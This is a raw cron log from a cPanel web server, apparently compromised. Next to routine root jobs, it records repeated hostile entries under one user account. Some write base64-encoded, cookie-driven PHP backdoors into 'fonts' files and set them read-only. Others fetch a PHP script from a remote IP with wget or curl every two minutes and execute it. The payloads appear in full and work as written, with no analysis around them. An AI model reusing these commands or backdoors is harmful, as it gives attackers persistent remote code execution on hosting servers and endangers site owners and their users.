Sep 22 13:43:01 ip-184-168-122-23 CROND[18368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:43:01 ip-184-168-122-23 CROND[18369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:44:01 ip-184-168-122-23 CROND[19134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:44:01 ip-184-168-122-23 CROND[19139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:44:01 ip-184-168-122-23 CROND[19140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:44:01 ip-184-168-122-23 CROND[19137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:44:01 ip-184-168-122-23 CROND[19138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:45:01 ip-184-168-122-23 CROND[19878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:45:01 ip-184-168-122-23 CROND[19879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:45:01 ip-184-168-122-23 CROND[19885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:45:01 ip-184-168-122-23 CROND[19882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:45:01 ip-184-168-122-23 CROND[19884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:45:01 ip-184-168-122-23 CROND[19886]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:46:01 ip-184-168-122-23 CROND[20657]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 13:46:01 ip-184-168-122-23 CROND[20658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:46:01 ip-184-168-122-23 CROND[20659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:46:01 ip-184-168-122-23 CROND[20660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:46:01 ip-184-168-122-23 CROND[20661]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 13:46:01 ip-184-168-122-23 CROND[20662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:46:01 ip-184-168-122-23 CROND[20665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:47:01 ip-184-168-122-23 CROND[21460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:47:01 ip-184-168-122-23 CROND[21461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:47:01 ip-184-168-122-23 CROND[21465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:47:01 ip-184-168-122-23 CROND[21466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:48:01 ip-184-168-122-23 CROND[22536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:48:01 ip-184-168-122-23 CROND[22540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:48:01 ip-184-168-122-23 CROND[22538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:48:01 ip-184-168-122-23 CROND[22539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:48:01 ip-184-168-122-23 CROND[22542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:49:01 ip-184-168-122-23 CROND[23418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:49:01 ip-184-168-122-23 CROND[23419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:49:01 ip-184-168-122-23 CROND[23422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:49:01 ip-184-168-122-23 CROND[23423]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 22 13:49:01 ip-184-168-122-23 CROND[23424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:50:01 ip-184-168-122-23 CROND[24124]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 13:50:01 ip-184-168-122-23 CROND[24125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:50:01 ip-184-168-122-23 CROND[24127]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 13:50:01 ip-184-168-122-23 CROND[24130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:50:01 ip-184-168-122-23 CROND[24131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:50:01 ip-184-168-122-23 CROND[24134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:50:01 ip-184-168-122-23 CROND[24136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:50:01 ip-184-168-122-23 CROND[24139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:50:01 ip-184-168-122-23 CROND[24137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:51:01 ip-184-168-122-23 CROND[24964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:51:01 ip-184-168-122-23 CROND[24963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:51:01 ip-184-168-122-23 CROND[24965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:51:01 ip-184-168-122-23 CROND[24968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:52:01 ip-184-168-122-23 CROND[25609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:52:01 ip-184-168-122-23 CROND[25612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:52:01 ip-184-168-122-23 CROND[25613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:52:01 ip-184-168-122-23 CROND[25610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:52:01 ip-184-168-122-23 CROND[25611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:53:01 ip-184-168-122-23 CROND[26325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:53:01 ip-184-168-122-23 CROND[26326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:53:01 ip-184-168-122-23 CROND[26324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:53:01 ip-184-168-122-23 CROND[26329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:54:01 ip-184-168-122-23 CROND[27000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:54:01 ip-184-168-122-23 CROND[27001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:54:01 ip-184-168-122-23 CROND[27003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:54:01 ip-184-168-122-23 CROND[27004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:54:01 ip-184-168-122-23 CROND[27007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:55:01 ip-184-168-122-23 CROND[27412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:55:01 ip-184-168-122-23 CROND[27413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
